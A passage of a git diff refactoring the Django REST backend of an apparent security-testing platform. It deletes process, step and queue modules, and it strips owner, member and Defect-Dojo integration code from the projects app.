'0001_initial'), - ('processes', '0001_initial'), - ] - - operations = [ - migrations.AddField( - model_name='step', - name='configuration', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='tools.configuration'), - ), - migrations.AddField( - model_name='step', - name='process', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='steps', to='processes.process'), - ), - migrations.AddField( - model_name='step', - name='tool', - field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tools.tool'), - ), - ] diff --git a/src/backend/processes/migrations/0003_initial.py b/src/backend/processes/migrations/0003_initial.py deleted file mode 100644 index 4c653677e..000000000 --- a/src/backend/processes/migrations/0003_initial.py +++ /dev/null @@ -1,39 +0,0 @@ -# Generated by Django 3.2.12 on 2022-03-20 11:45 - -from django.conf import settings -from django.db import migrations, models -import django.db.models.deletion -import taggit.managers - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ('processes', '0002_initial'), - ('taggit', '0003_taggeditem_add_unique_index'), - ] - - operations = [ - migrations.AddField( - model_name='process', - name='creator', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='process', - name='liked_by', - field=models.ManyToManyField(related_name='liked_process', to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='process', - name='tags', - field=taggit.managers.TaggableManager(help_text='A comma-separated list of tags.', through='taggit.TaggedItem', to='taggit.Tag', verbose_name='Tags'), - ), - migrations.AddConstraint( - model_name='step', - constraint=models.UniqueConstraint(fields=('process', 'tool', 'configuration'), name='unique step'), - ), - ] diff --git a/src/backend/processes/migrations/__init__.py b/src/backend/processes/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/processes/models.py b/src/backend/processes/models.py deleted file mode 100644 index d7a9c1788..000000000 --- a/src/backend/processes/models.py +++ /dev/null @@ -1,53 +0,0 @@ -from django.conf import settings -from django.db import models -from likes.models import LikeBase -from security.input_validation import (validate_name, validate_number, - validate_text) -from taggit.managers import TaggableManager -from tools.models import Configuration, Tool - -# Create your models here. - - -class Process(LikeBase): - '''Process model.''' - - name = models.TextField(max_length=100, unique=True, validators=[validate_name]) # Process name - description = models.TextField(max_length=300, validators=[validate_text]) # Process description - # User that created the process - creator = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True) - tags = TaggableManager() # Process tags - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return self.name - - -class Step(models.Model): - '''Process model.''' - - process = models.ForeignKey(Process, related_name='steps', on_delete=models.CASCADE) # Associated process - tool = models.ForeignKey(Tool, on_delete=models.CASCADE) # Tool - configuration = models.ForeignKey(Configuration, on_delete=models.CASCADE, blank=True, null=True) # Configuration - # Priority value. Steps with greater priority will be executed before other of same process and with same stage - priority = models.IntegerField(default=1, validators=[validate_number]) - - class Meta: - '''Model metadata.''' - - constraints = [ - # Unique constraint by: Process, Tool and Configuration - models.UniqueConstraint(fields=['process', 'tool', 'configuration'], name='unique step') - ] - - def __str__(self) -> str: - '''Instance representation in text format. - - Returns: - str: String value that identifies this instance - ''' - return f'{self.process.__str__()} - {self.configuration.__str__()}' diff --git a/src/backend/processes/serializers.py b/src/backend/processes/serializers.py deleted file mode 100644 index 6d293cfdc..000000000 --- a/src/backend/processes/serializers.py +++ /dev/null @@ -1,122 +0,0 @@ -from typing import Any, Dict, List - -from api.fields import RekonoTagField -from drf_spectacular.utils import extend_schema_field -from likes.serializers import LikeBaseSerializer -from rest_framework import serializers -from rest_framework.fields import SerializerMethodField -from taggit.serializers import TaggitSerializer -from tools.models import Configuration, Tool -from tools.serializers import ConfigurationSerializer, SimplyToolSerializer -from users.serializers import SimplyUserSerializer - -from processes.models import Process, Step - - -class StepPrioritySerializer(serializers.ModelSerializer): - '''Serializer to update the step priority data via API.''' - - class Meta: - '''Serializer metadata.''' - - model = Step - fields = ('id', 'process', 'tool', 'configuration', 'priority') # Step fields exposed via API - # All of them configured as read only except priority - read_only_fields = ('id', 'process', 'tool', 'configuration') - - -class StepSerializer(serializers.ModelSerializer): - '''Serializer to manage steps via API.''' - - tool = SimplyToolSerializer(read_only=True, many=False) # Tool details for read operations - tool_id = serializers.PrimaryKeyRelatedField( # Tool Id for Step creation - write_only=True, - required=True, - source='tool', - queryset=Tool.objects.all() - ) - # Configuration details for read operations - configuration = ConfigurationSerializer(read_only=True, many=False) - configuration_id = serializers.PrimaryKeyRelatedField( # Configuration Id for Step creation - write_only=True, - required=False, # If not present, default will be used - source='configuration', - queryset=Configuration.objects.all() - ) - - class Meta: - '''Serializer metadata.''' - - model = Step - # Step fields exposed via API - fields = ('id', 'process', 'tool', 'tool_id', 'configuration', 'configuration_id', 'priority') - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) # Super data validation - configuration = attrs.get('configuration') - if configuration: # Configuration present - # Check if configuration is valid for the tool - check_configuration = Configuration.objects.filter(tool=attrs.get('tool'), id=configuration.id).exists() - if not bool(check_configuration): - configuration = None # Invalid configuration - if not configuration: # Configuration not present - # Get default configuration for the tool - attrs['configuration'] = Configuration.objects.filter(tool=attrs.get('tool'), default=True).first() - steps = Step.objects.filter( # Check step unique constraint - process=attrs.get('process'), - tool=attrs.get('tool'), - configuration=attrs.get('configuration') - ).exists() - if bool(steps): # Step already exists - raise serializers.ValidationError( - {'process': f'Invalid request. Process {attrs["process"].name} still has this step'} - ) - return attrs - - -class ProcessSerializer(TaggitSerializer, serializers.ModelSerializer, LikeBaseSerializer): - '''Serializer to manage processes via API.''' - - steps = SerializerMethodField(method_name='get_steps', read_only=True) # Step details for read operations - creator = SimplyUserSerializer(many=False, read_only=True) # Creator details for read operations - tags = RekonoTagField() # Tags - - class Meta: - '''Serializer metadata.''' - - model = Process - # Process fields exposed via API - fields = ('id', 'name', 'description', 'creator', 'liked', 'likes', 'steps', 'tags') - - @extend_schema_field(StepSerializer(many=True, read_only=True)) - def get_steps(self, instance: Process) -> List[StepSerializer]: - '''Get process steps sorted by configuration stage and priority (descendent). - - Args: - instance (Process): Process instance - - Returns: - List[StepSerializer]: Step list sorted by configuration stage and priority (descendent) - ''' - return StepSerializer(instance.steps.all().order_by('configuration__stage', '-priority'), many=True).data - - -class SimplyProcessSerializer(serializers.ModelSerializer): - '''Simply serializer to include process main data in other serializers.''' - - class Meta: - '''Serializer metadata.''' - - model = Process - fields = ('id', 'name') # Process fields exposed diff --git a/src/backend/processes/urls.py b/src/backend/processes/urls.py deleted file mode 100644 index 52090abfe..000000000 --- a/src/backend/processes/urls.py +++ /dev/null @@ -1,10 +0,0 @@ -from processes.views import ProcessViewSet, StepViewSet -from rest_framework.routers import SimpleRouter - -# Register your views here. - -router = SimpleRouter() -router.register('processes', ProcessViewSet) -router.register('steps', StepViewSet) - -urlpatterns = router.urls diff --git a/src/backend/processes/views.py b/src/backend/processes/views.py deleted file mode 100644 index 6c090e24a..000000000 --- a/src/backend/processes/views.py +++ /dev/null @@ -1,50 +0,0 @@ -from api.views import CreateWithUserViewSet -from likes.views import LikeManagementView -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated -from rest_framework.serializers import Serializer -from rest_framework.viewsets import ModelViewSet -from security.authorization.permissions import ProcessCreatorPermission - -from processes.filters import ProcessFilter, StepFilter -from processes.models import Process, Step -from processes.serializers import (ProcessSerializer, StepPrioritySerializer, - StepSerializer) - -# Create your views here. - - -class ProcessViewSet(CreateWithUserViewSet, ModelViewSet, LikeManagementView): - '''Process ViewSet that includes: get, retrieve, create, update, delete, like and dislike features.''' - - queryset = Process.objects.all().order_by('-id') - serializer_class = ProcessSerializer - filterset_class = ProcessFilter - # Fields used to search processes - search_fields = ['name', 'description'] - http_method_names = ['get', 'post', 'put', 'delete'] # Required to remove PATCH method - # Required to include the ProcessCreatorPermission and remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions, ProcessCreatorPermission] - user_field = 'creator' - - -class StepViewSet(ModelViewSet): - '''Step ViewSet that includes: get, retrieve, create, update and delete features.''' - - queryset = Step.objects.all().order_by('-id') - serializer_class = StepSerializer - filterset_class = StepFilter - search_fields = ['tool__name', 'tool__command', 'configuration__name'] # Fields used to search steps - http_method_names = ['get', 'post', 'put', 'delete'] # Required to remove PATCH method - # Required to include the ProcessCreatorPermission and remove unneeded ProjectMemberPermission - permission_classes = [IsAuthenticated, DjangoModelPermissions, ProcessCreatorPermission] - - def get_serializer_class(self) -> Serializer: - '''Get serializer class to use in each request. - - Returns: - Serializer: Properly serializer to use, - ''' - if self.request.method == 'PUT': # If PUT request method - # Use specific serializer for priority update - return StepPrioritySerializer - return super().get_serializer_class() # Otherwise, standard serializer diff --git a/src/backend/projects/__init__.py b/src/backend/projects/__init__.py index 8c1a486bb..dadf68186 100644 --- a/src/backend/projects/__init__.py +++ b/src/backend/projects/__init__.py @@ -1 +1 @@ -'''Projects.''' +"""Projects.""" diff --git a/src/backend/projects/apps.py b/src/backend/projects/apps.py index 39cb6f5da..20f1a5a83 100644 --- a/src/backend/projects/apps.py +++ b/src/backend/projects/apps.py @@ -2,6 +2,4 @@ class ProjectsConfig(AppConfig): - '''Projects Django application.''' - - name = 'projects' + name = "projects" diff --git a/src/backend/projects/filters.py b/src/backend/projects/filters.py index 1c8e43e80..990657d52 100644 --- a/src/backend/projects/filters.py +++ b/src/backend/projects/filters.py @@ -1,22 +1,17 @@ -from django_filters import rest_framework -from django_filters.rest_framework.filters import OrderingFilter +from django_filters.rest_framework import FilterSet from projects.models import Project -class ProjectFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort Project entities.''' - - o = OrderingFilter(fields=('name', 'owner')) # Ordering fields +class ProjectFilter(FilterSet): + """FilterSet to filter Project entities.""" class Meta: - '''FilterSet metadata.''' model = Project - fields = { # Filter fields - 'name': ['exact', 'icontains'], - 'description': ['exact', 'icontains'], - 'owner': ['exact'], - 'owner__username': ['exact', 'icontains'], - 'members': ['exact'], - 'tags__name': ['in'], + fields = { + "name": ["exact", "icontains"], + # "owner": ["exact"], + # "owner__username": ["exact"], + # "members": ["exact"], + "tags__name": ["in"], } diff --git a/src/backend/projects/migrations/0001_initial.py b/src/backend/projects/migrations/0001_initial.py deleted file mode 100644 index befb0717a..000000000 --- a/src/backend/projects/migrations/0001_initial.py +++ /dev/null @@ -1,27 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-23 11:29 - -from django.db import migrations, models -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ] - - operations = [ - migrations.CreateModel( - name='Project', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=100, unique=True, validators=[security.input_validation.validate_name])), - ('description', models.TextField(max_length=300, validators=[security.input_validation.validate_text])), - ('defectdojo_product_id', models.IntegerField(blank=True, null=True, validators=[security.input_validation.validate_number])), - ('defectdojo_engagement_id', models.IntegerField(blank=True, null=True, validators=[security.input_validation.validate_number])), - ('defectdojo_engagement_by_target', models.BooleanField(default=False)), - ('defectdojo_synchronization', models.BooleanField(default=False)), - ], - ), - ] diff --git a/src/backend/projects/migrations/0002_initial.py b/src/backend/projects/migrations/0002_initial.py deleted file mode 100644 index d780c5ccc..000000000 --- a/src/backend/projects/migrations/0002_initial.py +++ /dev/null @@ -1,35 +0,0 @@ -# Generated by Django 3.2.13 on 2022-04-23 11:29 - -from django.conf import settings -from django.db import migrations, models -import django.db.models.deletion -import taggit.managers - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - migrations.swappable_dependency(settings.AUTH_USER_MODEL), - ('projects', '0001_initial'), - ('taggit', '0003_taggeditem_add_unique_index'), - ] - - operations = [ - migrations.AddField( - model_name='project', - name='members', - field=models.ManyToManyField(blank=True, related_name='projects', to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='project', - name='owner', - field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL), - ), - migrations.AddField( - model_name='project', - name='tags', - field=taggit.managers.TaggableManager(help_text='A comma-separated list of tags.', through='taggit.TaggedItem', to='taggit.Tag', verbose_name='Tags'), - ), - ] diff --git a/src/backend/projects/migrations/__init__.py b/src/backend/projects/migrations/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/src/backend/projects/models.py b/src/backend/projects/models.py index 580116ca0..6b3bd549d 100644 --- a/src/backend/projects/models.py +++ b/src/backend/projects/models.py @@ -2,44 +2,39 @@ from django.conf import settings from django.db import models -from security.input_validation import (validate_name, validate_number, - validate_text) +from security.input_validation import validate_name, validate_text from taggit.managers import TaggableManager # Create your models here. class Project(models.Model): - '''Project model.''' - - name = models.TextField(max_length=100, unique=True, validators=[validate_name]) # Project name - description = models.TextField(max_length=300, validators=[validate_text]) # Project description - # Related product Id in Defect-Dojo - defectdojo_product_id = models.IntegerField(blank=True, null=True, validators=[validate_number]) - # Related engagement Id in Defect-Dojo - defectdojo_engagement_id = models.IntegerField(blank=True, null=True, validators=[validate_number]) - # Create one engagement in Defect-Dojo for each target - defectdojo_engagement_by_target = models.BooleanField(default=False) - # Enable or disable findings synchronization with Defect-Dojo - defectdojo_synchronization = models.BooleanField(default=False) + """Project model.""" + + name = models.TextField(max_length=100, unique=True, validators=[validate_name]) + description = models.TextField(max_length=300, validators=[validate_text]) # User that created the project - owner = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True) + # owner = models.ForeignKey( + # settings.AUTH_USER_MODEL, on_delete=models.SET_NULL, blank=True, null=True + # ) # Relation with all users that belong to the project - members = models.ManyToManyField(settings.AUTH_USER_MODEL, related_name='projects', blank=True) - tags = TaggableManager() # Project tags + # members = models.ManyToManyField( + # settings.AUTH_USER_MODEL, related_name="projects", blank=True + # ) + tags = TaggableManager() # Project tags def __str__(self) -> str: - '''Instance representation in text format. + """Instance representation in text format. Returns: str: String value that identifies this instance - ''' + """ return self.name def get_project(self) -> Any: - '''Get the related project for the instance. This will be used for authorization purposes. + """Get the related project for the instance. This will be used for authorization purposes. Returns: Any: Related project entity - ''' + """ return self diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index b7fd7e69c..5cd096e65 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -1,216 +1,87 @@ import logging from typing import Any, Dict -from api.fields import RekonoTagField -from defectdojo.api import DefectDojo -from defectdojo.exceptions import DefectDojoException from django.db import transaction -from django.forms import ValidationError -from rest_framework import serializers -from security.input_validation import validate_name, validate_text -from taggit.serializers import TaggitSerializer -from targets.serializers import TargetSerializer -from users.models import User -from users.serializers import SimplyUserSerializer - +from framework.fields import TagField from projects.models import Project +from rest_framework.serializers import ModelSerializer +from taggit.serializers import TaggitSerializer -logger = logging.getLogger() # Rekono logger +logger = logging.getLogger() -class ProjectSerializer(TaggitSerializer, serializers.ModelSerializer): - '''Serializer to manage projects via API.''' +class ProjectSerializer(TaggitSerializer, ModelSerializer): + """Serializer to manage projects via API.""" - targets = TargetSerializer(read_only=True, many=True) # Targets details for reaad operations - owner = SimplyUserSerializer(many=False, read_only=True) # Owner details for read operations - tags = RekonoTagField() # Tags + # Target details for read operations + # targets = TargetSerializer(read_only=True, many=True) + # Owner details for read operations + # owner = SimplyUserSerializer(many=False, read_only=True) + tags = TagField() # Tags class Meta: - '''Serializer metadata.''' + """Serializer metadata.""" model = Project - fields = ( # Project fields exposed via API - 'id', 'name', 'description', 'defectdojo_product_id', 'defectdojo_engagement_id', - 'defectdojo_engagement_by_target', 'defectdojo_synchronization', 'owner', 'targets', 'members', 'tags' - ) - read_only_fields = ( # Read only fields - 'defectdojo_product_id', 'defectdojo_engagement_id', 'defectdojo_engagement_by_target', - 'defectdojo_synchronization', 'owner', 'targets', 'members' + fields = ( + "id", + "name", + "description", + # "defectdojo_product_id", + # "defectdojo_engagement_id", + # "defectdojo_engagement_by_target", + # "defectdojo_synchronization", + # "owner", + # "targets", + # "members", + "tags", ) + # read_only_fields = ( + # "defectdojo_product_id", + # "defectdojo_engagement_id", + # "defectdojo_engagement_by_target", + # "defectdojo_synchronization", + # "owner", + # "targets", + # "members", + # ) @transaction.atomic() def create(self, validated_data: Dict[str, Any]) -> Project: - '''Create instance from validated data. + """Create instance from validated data. Args: validated_data (Dict[str, Any]): Validated data Returns: Project: Created instance - ''' - project = super().create(validated_data) # Create project - project.members.add(validated_data.get('owner')) # Add project owner also in member list + """ + project = super().create(validated_data) # Create project + # Add project owner also in member list + # project.members.add(validated_data.get("owner")) return project -class ProjectMemberSerializer(serializers.Serializer): - '''Serializer to add new member to a project via API.''' - - user = serializers.IntegerField(required=True) # User Id to add to the project members - - @transaction.atomic() - def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: - '''Update instance from validated data. - - Args: - instance (Project): Instance to update - validated_data (Dict[str, Any]): Validated data - - Returns: - Project: Updated instance - ''' - user = User.objects.get(pk=validated_data.get('user'), is_active=True) # Get active user from user Id - instance.members.add(user) # Add user as project member - return instance - - -class DefectDojoIntegrationSerializer(serializers.Serializer): - '''Serializer to configure Defect-Dojo integration for one project via API.''' +# class ProjectMemberSerializer(serializers.Serializer): +# """Serializer to add new member to a project via API.""" - product_id = serializers.IntegerField(required=False) # Using an existing product - engagement_id = serializers.IntegerField(required=False) # Using an existing engagement - engagement_name = serializers.CharField(max_length=100, required=False) # Name of the new engagement - engagement_description = serializers.CharField(max_length=300, required=False) # Description of the new engagement +# user = serializers.IntegerField( +# required=True +# ) # User Id to add to the project members - def __init__(self, instance: Any = None, data: Any = ..., **kwargs): - '''Initialize the serializer. - - Args: - instance (Any, optional): Model instance. Defaults to None. - data (Any, optional): Data provided for the operations. Defaults to .... - ''' - super().__init__(instance, data, **kwargs) - self.dd_client = DefectDojo() +# @transaction.atomic() +# def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: +# """Update instance from validated data. - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. +# Args: +# instance (Project): Instance to update +# validated_data (Dict[str, Any]): Validated data - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - if not self.dd_client.is_available(): - raise serializers.ValidationError({'defect-dojo': ['Integration with Defect-Dojo is not available']}) - attrs = super().validate(attrs) - if attrs.get('engagement_id'): # If engagement Id provided - success, body = self.dd_client.get_engagement(attrs['engagement_id']) # Check engagement Id - if success: - attrs['product_id'] = body.get('product') # Save related product Id - else: - raise serializers.ValidationError({'engagement_id': 'Engagement not found in Defect-Dojo'}) - elif attrs.get('product_id'): # If not engagement Id but product Id - success, body = self.dd_client.get_product(attrs['product_id']) # Check product Id - if not success: - raise serializers.ValidationError({'product_id': 'Product not found in Defect-Dojo'}) - if ( # If new engagement is needed - not attrs.get('engagement_id') and - attrs.get('engagement_name') and - attrs.get('engagement_description') - ): - for field, validator in [ - ('engagement_name', validate_name), - ('engagement_description', validate_text) - ]: - try: - validator(attrs[field]) # Validate name and description fields - except ValidationError as ex: - raise serializers.ValidationError({field: str(ex)}) - return attrs - - def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: - '''Update instance from validated data. - - Args: - instance (Project): Instance to update - validated_data (Dict[str, Any]): Validated data - - Raises: - DefectDojoException: Raised if Defect-Dojo entities are not found or can't be created - - Returns: - Project: Updated instance - ''' - if not validated_data.get('product_id'): # DD product creation required - product_type = 0 - success, body = self.dd_client.get_rekono_product_type() # Get Rekono product type in Defect-Dojo - if success and len(body.get('results') or []) > 0: - product_type = body['results'][0].get('id') # Rekono product type found - else: - success, body = self.dd_client.create_rekono_product_type() # Create Rekono product type in DD - if not success: - logger.error("[Defect-Dojo] Rekono product type can't be created") - raise DefectDojoException({'product_type': ["Rekono product type can't be created in Defect-Dojo"]}) - logger.info('[Defect-Dojo] Rekono product type has been created') - product_type = body['id'] - # Create product related to the project - success, body = self.dd_client.create_product(product_type, instance) - if not success: - logger.error(f"[Defect-Dojo] Product related to project {instance.id} can't be created") - raise DefectDojoException( - {'product': [f"Defect-Dojo product related to project {instance.id} can't be created"]} - ) - logger.info(f'[Defect-Dojo] New product {body["id"]} related to project {instance.id} has been created') - validated_data['product_id'] = body.get('id') - instance.defectdojo_product_id = validated_data.get('product_id') - instance.save(update_fields=['defectdojo_product_id']) - if ( # DD engagement creation required - not validated_data.get('engagement_id') and - validated_data.get('engagement_name') and - validated_data.get('engagement_description') - ): - success, body = self.dd_client.create_engagement( # Create engagement - validated_data['product_id'], - validated_data['engagement_name'], - validated_data['engagement_description'] - ) - if not success: - logger.error(f"[Defect-Dojo] Engagement related to project {instance.id} can't be created") - raise DefectDojoException( - {'engagement': [f"Defect-Dojo engagement related to project {instance.id} can't be created"]} - ) - logger.info(f'[Defect-Dojo] New engagement {body["id"]} has been created') - validated_data['engagement_id'] = body.get('id') - instance.defectdojo_engagement_id = validated_data.get('engagement_id') - # If no engagement provided, one engagement for each target will be created - instance.defectdojo_engagement_by_target = validated_data.get('engagement_id') is None - instance.save(update_fields=['defectdojo_engagement_id', 'defectdojo_engagement_by_target']) - return instance - - -class DefectDojoSyncSerializer(serializers.Serializer): - '''Serializer to enable and disable the Defect-Dojo synchronization for one project via API.''' - - synchronization = serializers.BooleanField(required=True) # Enable/Disable Defect-Dojo sync - - def update(self, instance: Project, validated_data: Dict[str, Any]) -> Project: - '''Update instance from validated data. - - Args: - instance (Project): Instance to update - validated_data (Dict[str, Any]): Validated data - - Returns: - Project: Updated instance - ''' - if not instance.defectdojo_product_id: - raise DefectDojoException( - {'defectdojo_product_id': [f'Defect-Dojo integration is not configured for project {instance.id}']} - ) - instance.defectdojo_synchronization = validated_data.get('synchronization') - instance.save(update_fields=['defectdojo_synchronization']) - return instance +# Returns: +# Project: Updated instance +# """ +# user = User.objects.get( +# pk=validated_data.get("user"), is_active=True +# ) # Get active user from user Id +# instance.members.add(user) # Add user as project member +# return instance diff --git a/src/backend/projects/urls.py b/src/backend/projects/urls.py index c5c9f711f..11deab0ac 100644 --- a/src/backend/projects/urls.py +++ b/src/backend/projects/urls.py @@ -4,6 +4,6 @@ # Register your views here. router = SimpleRouter() -router.register('projects', ProjectViewSet) +router.register("projects", ProjectViewSet) urlpatterns = router.urls diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index 95a6c8653..fff72c1b5 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -1,116 +1,73 @@ -from api.views import CreateWithUserViewSet, GetViewSet -from defectdojo.exceptions import DefectDojoException -from drf_spectacular.utils import extend_schema +from framework.views import BaseViewSet from projects.filters import ProjectFilter from projects.models import Project -from projects.serializers import (DefectDojoIntegrationSerializer, - DefectDojoSyncSerializer, - ProjectMemberSerializer, ProjectSerializer) -from rest_framework import status -from rest_framework.decorators import action -from rest_framework.generics import get_object_or_404 -from rest_framework.request import Request -from rest_framework.response import Response -from rest_framework.viewsets import ModelViewSet -from users.models import User +from projects.serializers import ProjectSerializer # Create your views here. -class ProjectViewSet(GetViewSet, CreateWithUserViewSet, ModelViewSet): - '''Project ViewSet that includes: get, retrieve, create, update, delete and Defect-Dojo features.''' +# GetViewSet, CreateWithUserViewSet +class ProjectViewSet(BaseViewSet): + """Project ViewSet that includes: get, retrieve, create, update, delete and Defect-Dojo features.""" - queryset = Project.objects.all().order_by('-id') + queryset = Project.objects.all() serializer_class = ProjectSerializer filterset_class = ProjectFilter - search_fields = ['name', 'description'] # Fields used to search projects - http_method_names = ['get', 'post', 'put', 'delete'] # Required to remove PATCH method - members_field = 'members' - user_field = 'owner' - - @extend_schema(request=ProjectMemberSerializer, responses={201: None}) - @action(detail=True, methods=['POST'], url_path='members', url_name='members') - def add_project_member(self, request: Request, pk: str) -> Response: - '''Add user to the project members. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP Response - ''' - project = self.get_object() - serializer = ProjectMemberSerializer(data=request.data) - if serializer.is_valid(): - try: - serializer.update(project, serializer.validated_data) # Add project member - return Response(status=status.HTTP_201_CREATED) - except User.DoesNotExist: - return Response(status=status.HTTP_404_NOT_FOUND) # User not found - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) - - @action(detail=True, methods=['DELETE'], url_path='members/(?P[0-9])', url_name='delete_member') - def delete_project_member(self, request: Request, member_id: str, pk: str) -> Response: - '''Remove user from the project members. - - Args: - request (Request): Received HTTP request - member_id (str): User Id to be removed - pk (str): Instance Id - - Returns: - Response: HTTP Response - ''' - project = self.get_object() - member = get_object_or_404(project.members, pk=member_id) # Get member from project members - if int(member_id) != project.owner.id: - # Member found and it isn't the project owner - project.members.remove(member) # Remove project member - return Response(status=status.HTTP_204_NO_CONTENT) - return Response(status=status.HTTP_400_BAD_REQUEST) - - @extend_schema(request=DefectDojoIntegrationSerializer, responses={200: ProjectSerializer}) - @action(detail=True, methods=['PUT'], url_path='defect-dojo', url_name='defect-dojo') - def defect_dojo_integration(self, request: Request, pk: str) -> Response: - '''Configure Defect-Dojo integration for the project. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP Response - ''' - project = self.get_object() - serializer = DefectDojoIntegrationSerializer(data=request.data) - if serializer.is_valid(): - try: - project = serializer.update(project, serializer.validated_data) # Update Defect-Dojo configuration - return Response(ProjectSerializer(project).data, status=status.HTTP_200_OK) - except DefectDojoException as ex: - return Response(ex.args[0], status=status.HTTP_400_BAD_REQUEST) # Error in Defect-Dojo requests - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) - - @extend_schema(request=DefectDojoSyncSerializer, responses={200: ProjectSerializer}) - @action(detail=True, methods=['PUT'], url_path='defect-dojo/sync', url_name='defect-dojo-sync') - def defect_dojo_synchronization(self, request: Request, pk: str) -> Response: - '''Enable or disable Defect-Dojo synchronization for the project. - - Args: - request (Request): Received HTTP request - pk (str): Instance Id - - Returns: - Response: HTTP Response - ''' - project = self.get_object() - serializer = DefectDojoSyncSerializer(data=request.data) - if serializer.is_valid(): - try: - project = serializer.update(project, serializer.validated_data) # Update Defect-Dojo synchronization - return Response(ProjectSerializer(project).data, status=status.HTTP_200_OK) - except DefectDojoException as ex: - # Defect-Dojo integration is not configured - return Response(ex.args[0], status=status.HTTP_400_BAD_REQUEST) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + search_fields = ["name", "description"] # Fields used to search projects + ordering_fields = ["id", "name"] + + # members_field = "members" + # user_field = "owner" + + # @extend_schema(request=ProjectMemberSerializer, responses={201: None}) + # @action(detail=True, methods=["POST"], url_path="members", url_name="members") + # def add_project_member(self, request: Request, pk: str) -> Response: + # """Add user to the project members. + + # Args: + # request (Request): Received HTTP request + # pk (str): Instance Id + + # Returns: + # Response: HTTP Response + # """ + # project = self.get_object() + # serializer = ProjectMemberSerializer(data=request.data) + # if serializer.is_valid(): + # try: + # serializer.update( + # project, serializer.validated_data + # ) # Add project member + # return Response(status=status.HTTP_201_CREATED) + # except User.DoesNotExist: + # return Response(status=status.HTTP_404_NOT_FOUND) # User not found + # return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + + # @action( + # detail=True, + # methods=["DELETE"], + # url_path="members/(?P[0-9])", + # url_name="delete_member", + # ) + # def delete_project_member( + # self, request: Request, member_id: str, pk: str + # ) -> Response: + # """Remove user from the project members. + + # Args: + # request (Request): Received HTTP request + # member_id (str): User Id to be removed + # pk (str): Instance Id + + # Returns: + # Response: HTTP Response + # """ + # project = self.get_object() + # member = get_object_or_404( + # project.members, pk=member_id + # ) # Get member from project members + # if int(member_id) != project.owner.id: + # # Member found and it isn't the project owner + # project.members.remove(member) # Remove project member + # return Response(status=status.HTTP_204_NO_CONTENT) + # return Response(status=status.HTTP_400_BAD_REQUEST) diff --git a/src/backend/queues/__init__.py b/src/backend/queues/__init__.py deleted file mode 100644 index 43b1cb84f..000000000 --- a/src/backend/queues/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Common queue configurations and utilities.''' diff --git a/src/backend/queues/utils.py b/src/backend/queues/utils.py deleted file mode 100644 index 3ddbacd94..000000000 --- a/src/backend/queues/utils.py +++ /dev/null @@ -1,39 +0,0 @@ -import logging - -import django_rq -from rq.job import Job - -logger = logging.getLogger() # Rekono logger - - -def cancel_job(queue_name: str, job_id: str) -> Job: - '''Cancel a job based on his Id. - - Args: - job_id (str): Job Id to be cancelled - - Returns: - Job: Cancelled job - ''' - queue = django_rq.get_queue(queue_name) # Get queue by name - job = queue.fetch_job(job_id) # Get job to be cancelled by Id - if job: - logger.info(f'[Queues] Job {job_id} from {queue_name} has been cancelled') - job.cancel() # Cancel job - return job - - -def cancel_and_delete_job(queue_name: str, job_id: str) -> Job: - '''Cancel and delete a job based on his Id. - - Args: - job_id (str): Job Id to be cancelled and deleted - - Returns: - Job: Cancelled and deleted job - ''' - job = cancel_job(queue_name, job_id) # Cancel job - if job: - logger.info(f'[Queues] Job {job_id} from {queue_name} has been deleted') - job.delete() # Delete job - return job diff --git a/src/backend/rekono/__init__.py b/src/backend/rekono/__init__.py index 547c1646f..e69de29bb 100644 --- a/src/backend/rekono/__init__.py +++ b/src/backend/rekono/__init__.py @@ -1 +0,0 @@ -'''Rekono main module.''' diff --git a/src/backend/rekono/apps.py b/src/backend/rekono/apps.py deleted file mode 100644 index 